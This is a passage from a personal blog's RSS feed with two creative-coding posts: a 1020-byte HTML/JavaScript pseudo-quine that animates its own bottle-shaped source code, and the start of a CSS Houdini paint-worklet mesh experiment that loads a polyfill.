      <link>https://horak.hu/posts/bottle/</link>
      <pubDate>Fri, 03 Feb 2023 00:00:00 +0000</pubDate>
      
      <guid>https://horak.hu/posts/bottle/</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A quine is a computer program which takes no input and produces a copy of its own source code as its only output.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one is not really a quine, but something similar, 1020 bytes of HTML/JS that animates it&amp;rsquo;s own code. Inspired by the great work of &lt;a href=&#34;https://aem1k.com/&#34;&gt;@aemkei&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://horak.hu/posts/bottle/bottle.html&#34;&gt;Click here, to see it in action!&lt;/a&gt;&lt;/p&gt;</description>
      <content>&lt;blockquote&gt;
&lt;p&gt;A quine is a computer program which takes no input and produces a copy of its own source code as its only output.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This one is not really a quine, but something similar, 1020 bytes of HTML/JS that animates it&amp;rsquo;s own code. Inspired by the great work of &lt;a href=&#34;https://aem1k.com/&#34;&gt;@aemkei&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://horak.hu/posts/bottle/bottle.html&#34;&gt;Click here, to see it in action!&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;body&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;onload&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;eval(&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;textContent&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;pre&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;textContent&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\43&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` ,====, `*/&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;S&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;style&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;M&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;K&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=!&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;H&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\140&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;/*` ;,,,,; `*/&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;map&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)=&amp;gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;]).
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;filter&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;)=&amp;gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;);&lt;span style=&#34;color:#a6e22e&#34;&gt;l&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` }##{ `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;c&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;)[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;k&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\117&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;#888&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;z&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;F&lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` /####\ `*/&lt;/span&gt;{&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;l&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;l&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt;[Math.&lt;span style=&#34;color:#75715e&#34;&gt;/*` :######: `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;random&lt;/span&gt;()&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;B&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;];&lt;span style=&#34;color:#a6e22e&#34;&gt;b&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;innerHTML&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;\74pr&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` /########\ `*/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;e\76&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;s&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;map&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;,&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;)=&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;A&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;k&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;k&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` |``````````| `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;K&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;H&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?!&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;K&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;K&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;vcl&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fontcolor&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;C&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;H&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;K&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` |   C0DE   | `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;v&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;));&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vcl&lt;/span&gt;;}).
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;join&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;);&lt;span style=&#34;color:#a6e22e&#34;&gt;setTimeout&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;z&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` \.______./ `*/&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;400&lt;/span&gt;);&lt;span style=&#34;color:#a6e22e&#34;&gt;M&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;};&lt;span style=&#34;color:#a6e22e&#34;&gt;C&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;=&amp;gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;((&lt;span style=&#34;color:#a6e22e&#34;&gt;t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Z&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;x&lt;/span&gt;])&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;t&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;call&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;?&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;t&lt;/span&gt;()&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;t&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;/*` |########| `*/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;fff&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;333&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;d&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;S&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;background&amp;#39;&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;#0&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` |########| `*/&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;00&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;S&lt;/span&gt;[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;font&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;Size&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;5vh&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;toString&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/*` )########( `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;W&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;Math;&lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;()=&amp;gt;{&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;W&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;M&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;W&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;cos&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*` /##########\ `*/&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;M&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;V&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;W&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;cos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;M&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1.57&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;&lt;span style=&#34;color:#75715e&#34;&gt;/*` |##########| `*/&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;R&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt;](&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;G&lt;/span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt;](&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;V&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;T&lt;/span&gt;](&lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;)};&lt;span style=&#34;color:#a6e22e&#34;&gt;Z&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;{&lt;span style=&#34;color:#75715e&#34;&gt;/*` &amp;#39;.##.##.##.&amp;#39; `*/&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;O&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a8&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;;&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;q&lt;/span&gt;,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;g&lt;/span&gt;};&lt;span style=&#34;color:#75715e&#34;&gt;/*`   &amp;#39;&amp;#39; &amp;#39;&amp;#39; &amp;#39;&amp;#39;   `*/&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;Z&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;]&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;h&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;865&amp;#39;&lt;/span&gt;;&lt;span style=&#34;color:#a6e22e&#34;&gt;z&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;dy&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content>
    </item>
    
    <item>
      <title>CSS Mesh</title>
      <link>https://horak.hu/posts/css-mesh/</link>
      <pubDate>Thu, 02 Feb 2023 10:22:10 +0100</pubDate>
      
      <guid>https://horak.hu/posts/css-mesh/</guid>
      <description>&lt;p&gt;CSS Paint Worklet (Houdini) experiment to generate cellular noise based mesh.&lt;/p&gt;
&lt;p&gt;Details on &lt;a href=&#34;https://github.com/dyuri/repa-css-mesh&#34;&gt;github&lt;/a&gt;.&lt;/p&gt;</description>
      <content>&lt;p&gt;CSS Paint Worklet (Houdini) experiment to generate cellular noise based mesh.&lt;/p&gt;
&lt;p&gt;Details on &lt;a href=&#34;https://github.com/dyuri/repa-css-mesh&#34;&gt;github&lt;/a&gt;.&lt;/p&gt;
&lt;style&gt;
  .content {
    --mesh-count: 12;
    --mesh-node-color: rgb(200, 100, 255);
    --mesh-line-color: rgba(200, 100, 255, .7);
    --mesh-fill-color: rgba(100, 0, 200, .3);
    --mesh-starmap: .5, 1.5;

    background-image: paint(repa-mesh);
  }
&lt;/style&gt;
&lt;script&gt;
(async function() {
  // polyfill
  if (!CSS[&#34;paintWorklet&#34;]) {
    await import(&#34;https://unpkg.com/css-paint-polyfill&#34;);
  }

